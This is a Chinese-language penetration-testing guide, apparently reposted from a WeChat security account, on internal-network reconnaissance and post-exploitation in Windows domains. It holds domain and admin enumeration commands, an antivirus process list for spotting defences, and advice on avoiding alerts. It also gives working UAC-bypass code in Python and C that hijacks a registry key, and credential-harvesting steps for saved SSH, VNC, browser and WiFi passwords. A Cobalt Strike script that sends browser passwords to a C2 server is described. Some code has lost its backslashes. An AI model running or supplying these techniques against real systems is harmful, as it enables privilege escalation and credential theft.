直接上干货
信息收集
查询本机器的进程信息
wmic process list brief
或者
tasklist
常见的杀毒软件进程
360tray.exe 360安全卫士
360sd.exe 360杀毒
MsMpEng.exe Windows Defender(Microsoft Security Essentials)
hipstray.exe 火绒
wsctrl.exe 火绒
usysdiag.exe 火绒
ksafe.exe 金山卫士
QQPCRTP.exe QQ电脑管家
kxetray.exe 金山毒霸
KvMonXP.exe 江民杀毒
RavMonD.exe 瑞星杀毒
Mcshield.exe 麦咖啡
avp.exe 卡巴斯基
TMBMSRV.exe 趋势杀毒
avcenter.exe Avira(小红伞)
safedog.exe 安全狗
SafeDogGuardCenter.exe 安全狗
safedogupdatecenter.exe 安全狗
safedogguardcenter.exe 安全狗
SafeDogSiteIIS.exe 安全狗
SafeDogTray.exe 安全狗
SafeDogServerUI.exe 安全狗
D_Safe_Manage.exe D盾
d_manage.exe D盾
yunsuo_agent_servic.exe 云锁
yunsuo_agent_daemon.exe 云锁
HwsPanel.exe 护卫神·入侵防护
hws_ui.exe 护卫神
hws.exe 护卫神·入侵防护系统 服务处理程序
hwsd.exe 护卫神·入侵防护系统 监控组件
查看当前在线用户
query user
Systeminfo #列出计算机信息以及补丁信息
route print 或者 arp -a #查询路由表以及所有可用接口ARP的缓存表
列出当前计算机域所有链接的客户端之间的会话
如果有回话的话 正常来说会显示的
定位DC及获取⽤户、组信息
net config workstation #查询当前登录域及登录⽤户信息
net user /domain #查询域内⽤户
wmic useraccount get /all #查询域内⽤户的详细信息
net accounts /domain #查看域密码策略
net user lab /domain #查看指定域⽤户lab的详细信息
net view /domain #查看有⼏个域
net view /domain:xxx #查看域内的主机
net group /domain #查看域⾥⾯的组
net group "domain users" /domain #查看域⽤户
net group "domain controllers" /domain #查看域控制器
net group "domain computers" /domain #查看域内所有的主机
net group "domain admins" /domain #查看域管理员,该组内的成员对域控
拥有完全控制权
net group "enterprise admins" /domain #查看企业管理组,该组内的成员对域
控拥有完全控制权
net group "domain guest" /domain #查看域访客组,权限较低
net accounts /domain #查询域密码策略
whoami /user #查看⽤户SID和域SID
#域控权限
dsquery user #查询⽬录中的⽤户
dsquery computer #查询⽬录中的主机
dsquery group #查询⽬录中的组
dsquery ou #查询⽬录中的组织单元
dsquery site #查询⽬录中的站点
dsquery server #查询域控
dsquery contact #查询⽬录中的联系⼈
dsquery subnet #查询⽬录中的⼦⽹
dsquery quota #查询⽬录中的配额规定
dsquery partition #查询⽬录中的分区
dsquery server –domain zkaq.cn | dsget server–dnsname –site #搜索域内
域控制器的DNS主机名和站点名
dsquery computer domainroot –name -xp –limit n #搜索域内以-xp结尾的机
器n台
dsquery user domainroot –name admin -limit n #搜索域内以admin开头
的⽤户n个
nltest /DCLIST:zkaq.cn
net time /domain
nslookup -type=srv _ldap._tcp #查看DNS服务器的地址,⼀般DNS
服务器的IP就是域控的地址
netdom query pdc #查看主域控制器
dsquery server #该命令只能在域控上执⾏
查询域控
net view /domain
登录历史
psloggedon.exe
https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
此⼯具⽤于查看本地登录的⽤户和通过本地计算机或远程计算机资源登录的⽤户。
在PStools集合中就有此工具
setspn
官方文档:
https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names全称 Service Principal Names。
SPN 是服务器上所运行服务的唯一标识,每个使用 Kerberos 的服务都需要一个 SPN。
SPN 分为两种,一种注册在 AD 上机器帐户 ( Computers ) 下,另一种注册在域用户帐户 ( Users ) 下。当一个服务的权限为 Local System 或 Network Service,则 SPN 注册在机器帐户 ( Computers ) 下。当一个服务的权限为一个域用户,则 SPN 注册在域用户帐户 ( Users ) 下。
SPN 的格式
serviceclass/host:port/servicename
说明:
· serviceclass 可以理解为服务的名称,常⻅的有 www, ldap, SMTP, DNS, HOST 等。
· host 有两种形式,FQDN 和 NetBIOS 名,例如 server01.test.com 和 server01。
· 如果服务运行在默认端口上,则端口号 ( port ) 可以省略。
查询 **SPN
** 对域控制器发起 LDAP 查询,这是正常 kerberos 票据行为的一部分,因此查询 SPN 的操作很难被检测。
1 、使用 SetSPN
Win7 和 Windows Srver2008 自带的工具。
内网信息收集的时候 一般用cs或者其他框架的渗透工具去进行内网信息收集的话,一般来说都会触发告警。所以我们在信息收集的时候,尽量使用系统自带的工具或者用微软颁发签名的一些工具,这些就肯定不会有告警
比如说setspn、nslookup以及dnscmd等
我们可以在内网中扫描spn,快速寻找内网中注册的服务。
普通域用户权限即可:
setspn -q */*
关于setspn,如果当前账号权限不够高是无法使用setspn命令的就会像这样,为什么呢,因为当前的账号不是域账号
查看 zkaq.cn 域内的所有 SPN:
setspn.exe -T zkaq.cn -q */*
输出结果实例:
CN=DC1,OU=Domain Controllers,DC=test,DC=com exchangeRFR/DC1 exchangeRFR/DC1.test.com
exchangeMDB/DC1.test.com exchangeMDB/DC1 exchangeAB/DC1 exchangeAB/DC1.test.com
SMTP/DC1 SMTP/DC1.test.com SmtpSvc/DC1 SmtpSvc/DC1.test.com
ldap/DC1.test.com/ForestDnsZones.test.com ldap/DC1.test.com/DomainDnsZones.test.com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com DNS/DC1.test.com
GC/DC1.test.com/test.com RestrictedKrbHost/DC1.test.com RestrictedKrbHost/DC1
HOST/DC1/TEST HOST/DC1.test.com/TEST HOST/DC1 HOST/DC1.test.com
HOST/DC1.test.com/test.com E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-
b665-f4317b13e6b9/test.com ldap/DC1/TEST ldap/0f33253b-2314-40f0-b665-
f4317b13e6b9._msdcs.test.com ldap/DC1.test.com/TEST ldap/DC1 ldap/DC1.test.com
ldap/DC1.test.com/test.com CN=krbtgt,CN=Users,DC=test,DC=com kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com RestrictedKrbHost/COMPUTER01 HOST/COMPUTER01
RestrictedKrbHost/COMPUTER01.test.com HOST/COMPUTER01.test.com CN=MSSQL Service
Admin,CN=Users,DC=test,DC=com MSSQLSvc/DC1.test.com
以 CN 开头的每一行代表一个帐户,其下的信息是与该帐户相关联的 SPN。对于上面的输出数据,机器帐户 ( Computers ) 为:
· CN=DC1,OU=Domain Controllers,DC=test,DC=com
· CN=COMPUTER01,CN=Computers,DC=test,DC=com
域用户帐户 ( Users ) 为:
· CN=krbtgt,CN=Users,DC=test,DC=com
· CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
注册在域用户帐户 ( Users ) 下的 SPN 有两个:kadmin/changepw 和 MSSQLSvc/DC1.test.com。
Windows 系统通过 SPN 查询获得服务和服务实例帐户的对应关系
这里举一个例子:
用户 a 要访问 MySQL 服务的资源,进行到 4.tgs_reply 时,步骤如下:
( 1 ) Domain Controller 查询 MySQL 服务的 SPN
如果该 SPN 注册在机器帐户 ( Computers ) 下,将会查询所有机器帐户 ( Computers ) 的 servicePrincipalName 属性,找到对应的帐户。
如果该 SPN 注册在域用户帐户 ( Users ) 下,将会查询所有域用户 ( Users ) 的 servicePrincipalName 属性,找到 对应的帐户。
端口连接
比如我们拿下一台web站点,站库分离,那我们就可以利用如netstat -ano命令查看谁跟这台web通信,比如1433、3306这些端口。
获取安装的软件列表:
wmic product get name,version
定位域控服务器
net time /domain
nslookup
1、通过nslookup访问外部地址 回显IP
注意:如果机器不出网 是无法使用次命令的
nslookup myip.opendns.com resolver1.opendns.com
2、查看dns缓存 如果某站点频繁被访问 相关记录可能会出现在缓存里
ipconfig /displaydns
3、如果是IIS7 IIS7.5: 执行如下命令:
%windir%system32inetsrvappcmd list site
显示网站列表
%windir%system32inetsrvappcmd list site /config /xml
查看域控主机名
nslookup -type=SRV _ldap._tcp
快速定位域控ip,一般是dns、时间服务器:
net time /domain-
nslookup -type=all _ldap._tcp.dc._msdcs.jumbolab.com
内网主机发现
可以使用如下命令来达到内网主机的发现。查看共享资料:
net view
查看arp表:
arp -a
查看hosts文件:
linux:cat /etc/hosts
windows:type c:Windowssystem32driversetchosts
Adfind
AdFind 一款C++编写的域内查询信息的工具
下载地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
常用命令
列出域控制器名称:
AdFind -sc dclist
查看域控版本
AdFind -schema -s base objectversion
查询当前域中在线的计算机:
AdFind -sc computers_active
查询当前域中所有计算机:
AdFind -f "objectcategory=computer"
查询当前域中所有计算机(只显示名称和操作系统):
AdFind -f "objectcategory=computer" name operatingSystem
查询域内所有用户:
AdFind -users name
查询所有GPO:
AdFind -sc gpodmp
枚举受保护AD账户:
Adfind -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
查看域内用户详细信息:
adfind.exe -h DNS_SERVER_IP -sc u:username #目标用户
查看域用户能登录的机器(userWorkstations)
adfind.exe -h DNS_SERVER_IP -sc u:username userWorkstations
查看域内所有用户详细信息:
AdFind.exe -h DNS_SERVER_IP -sc u:* > result.txt
利用PsLoggendon.exe定位域管
PsLoggendon.exe是PsTools工具套件中的一员,用来查看通过资源共享登陆的用户,该工具的一些功能需要管理 员权限。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
另外两个定位域管的工具
PVEFindADUser.exe
PVEFindADUser.exe -current "<Domain admin name>"
PVEFindADUser.exe是用来枚举域用户以及登陆过特定系统的用户的一款工具,需要管理员权限。
下载地址:https://raw.githubusercontent.com/chrisdee/Tools/master/AD/ADFindUsersLoggedOn/PVEFindADUser.exe
PowerView.ps1
powershell.exe -exec bypass -Command "& {Import-Module <绝对路径>; Invoke-UserHunter}"
powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本,集成在powersploit工具包中,是一个收集域信息很好用的脚本。
源码地址:https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1
利用该工具的Invoke-UserHunter模块获取域管登陆过的机器信息
BypassUAC
提到bypassUAC之前,先明白什么是UAC,UAC是windows系统的一种保护机制,其原理是通知用户是否对应用程序使用硬盘驱动和系统授权文件,以达到帮助阻止恶意程序损坏系统的效果
通俗点来说,是当你管理员权限时,但是有些exe在打开的时候还是会弹出用户账户控制,如果点击否的话,就会出现拒绝访问,那么我们将无法运行这类exe,这会影响我们后续的渗透。
那么如何BypassUAC呢?
有一些程序时直接获取管理员权限,同时不弹出UAC弹窗。这一类的程序被称为白名单程序。这些程序拥有autoElevete属性的值为True,会在启动时就静默提升权限!
如果用cs或者msf提到了system就不需要进行bypassUAC了,system本身就是一个UAC权限
寻找不弹UAC框的程序
寻找autoElevate为true的程序
在cmd一个个的去运行exe,如果不弹uac框就运行的既是
有一些系统程序是会直接获取管理员权限同时不弹出UAC弹窗,这类程序被称为白名单程序。这些程序拥有autoElevate属性的值为True,会在启动时就静默提升权限。
那么我们要寻找的uac程序需要符合以下几个要求:
1. 程序的manifest标识的配置属性 autoElevate 为true
2. 程序不弹出UAC弹窗
3. 从注册表里查询ShellOpencommand键值对
首先是寻找autoElevate为true的程序,这里就写一个py脚本去批量跑一下,这里就找system32目录下面的
import os
from subprocess import *
path = 'c:windowssystem32'
files = os.listdir(path)
print(files)
def GetFileList(path, fileList):
newDir = path
if os.path.isfile(path):
if path[-4:] == '.exe':
fileList.append(path)
elif os.path.isdir(path):
try:
for s in os.listdir(path):
newDir=os.path.join(path,s)
GetFileList(newDir, fileList)
except Exception as e:
pass
return fileList
files = GetFileList(path, [])
print(files)
for eachFile in files:
if eachFile[-4:] == '.exe':
command = r'.sigcheck64.exe -m {} | findstr auto'.format(eachFile)
print(command)
p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE)
if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'):
copy_command = r'copy {} .success'.format(eachFile)
Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE)
print('[+] {}'.format(eachFile))
with open('success.txt', 'at') as f:
f.writelines('{}n'.format(eachFile))
从注册表里查询ShellOpencommand键值对
通常以shellopencommand命名的键值对存储的是可执行文件的路径,如果exe程序运行的时候找到该键值对,
就会运行该键值对的程序,而因为exe运行的时候是静默提升了权限,所以运行的该键值对的程序就已经过了uac。所以我们把恶意的exe路径写入该键值对,那么就能够过uac执行我们的恶意exe。
如果键值对HKCU:SoftwareClassesms-settingsshellopencommand存在,ComputerDefaults会接下去查找 HKCU:SoftwareClassesms-settingsshellopencommandDelegateExecute是否也存在,若也存在到则读取 HKCU:SoftwareClassesms-settingsshellopencommand的值然后执行。
#include <stdio.h>
#include <Windows.h>
int wmain(int argc, wchar_t* argv[]) {
if (argc != 2) {
wprintf(L"Usage: %s <filePath>n", argv[0]);
wprintf(L" %s cmd.exen", argv[0]);
exit(1);
}
LPWSTR filePath = argv[1];
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA si = { 0 };
HKEY hKey;
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
RegCreateKeyW(HKEY_CURRENT_USER, L"Software\Classes\ms-
settings\Shell\open\command", &hKey); // 创建注册表项 RegSetValueExW(hKey, L"", 0, REG_SZ, (LPBYTE)filePath, lstrlenW(filePath));
// 赋值,执行的exe路径
RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (LPBYTE)"", sizeof("")); // 创建进程ComputerDefaults
CreateProcessA("C:\Windows\System32\cmd.exe", (LPSTR)"/c
C:\Windows\System32\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS,
NULL, NULL, &si, &pi);
// 延时十秒,等ComputerDefaults.exe运行
Sleep(10000);
// 清楚注册表项
RegDeleteTreeA(HKEY_CURRENT_USER, "Software\Classes\ms-settings");
return 0; }
凭据收集
意思就是登录的凭据
拿下一台机器后,我们需要做的就是尽可能的收集信息。
比如远程连接凭据:
cmdkey /list
navicat:
SecureCRT:
xp/win2003 | C:Documents and SettingsUSERNAMEApplication DataVanDykeConfigSessions |
---|---|
win7/win2008以上 | C:UsersUSERNAMEAppDataRoamingVanDykeConfigSessions |
Xshell:
Xshell 5 | %userprofile%DocumentsNetSarangXshellSessions |
---|---|
Xshell 6 | %userprofile%DocumentsNetSarang Computer6XshellSessions |
WinSCP:
HKCUSoftwareMartin PrikrylWinSCP 2Sessions
vnc:
RealVNC HKEY_LOCAL_MACHINESOFTWARERealVNCvncserver Value: Password
TightVNC HKEY_CURRENT_USERSoftwareTightVNCServer Value: Password or PasswordViewOnly
TigerVNC HKEY_LOCAL_USERSoftwareTigerVNCWinVNC4 Value: Password
UltraVNC C:Program FilesUltraVNCultravnc.ini Value: passwd or passwd2
也可以使用masterkey解密chrome保存的账号密码:
%localappdata%GoogleChromeUser DataDefaultLogin Data
WIFI
通过如下命令获取连接过的wifi密码:
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
Seatbelt
可以利用Seatbelt工具做一些自动化的信息收集,收集的信息很多,包括不限于google历史记录、用户等等:
项目地址:
https://github.com/GhostPack/Seatbelt
360safebrowserdecrypt
项目地址:https://github.com/c0de3/360SafeBrowsergetpass
1.简介
这是一个一键辅助抓取360安全浏览器密码的CobaltStrike脚本,用于节省红队工作量,通过下载浏览器数据库、记录密钥来离线解密浏览器密码。
2.用法
加载Aggressor scripts后,beacon
右键打开菜单执行SafeBrowsergetpass
即可
执行后将下载浏览器数据库,记录密钥MachineGuid
到Credential
3.离线解密数据库
攻防演练中红队的时间非常珍贵,SafeBrowsergetpass
执行后所有数据存储在C2服务器,可以稍后在本地对浏览器密码进行解密。
只需要替换本地注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptographyMachineGuid
,替换原来360浏览器的assis2.db
,通常路径为C:UsersAdministratorAppDataRoaming360se6User DataDefaultappsLoginAssis
,即可通过BrowserView进行本地解密。
利用ICMP协议快速探测内网
这种方式是依次对内网中的每一个ip地址执行ping命令,可以快速的找到内网存活的所有主机,在渗透测试中可以利用这一点循环探测整个c段,如下。
for /L %I in (1,1,254) Do @ping -w 1 -n 1 10.0.1.%I | findstr "TTL="
原文始发于微信公众号(Th0r安全):内网信息收集的艺术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论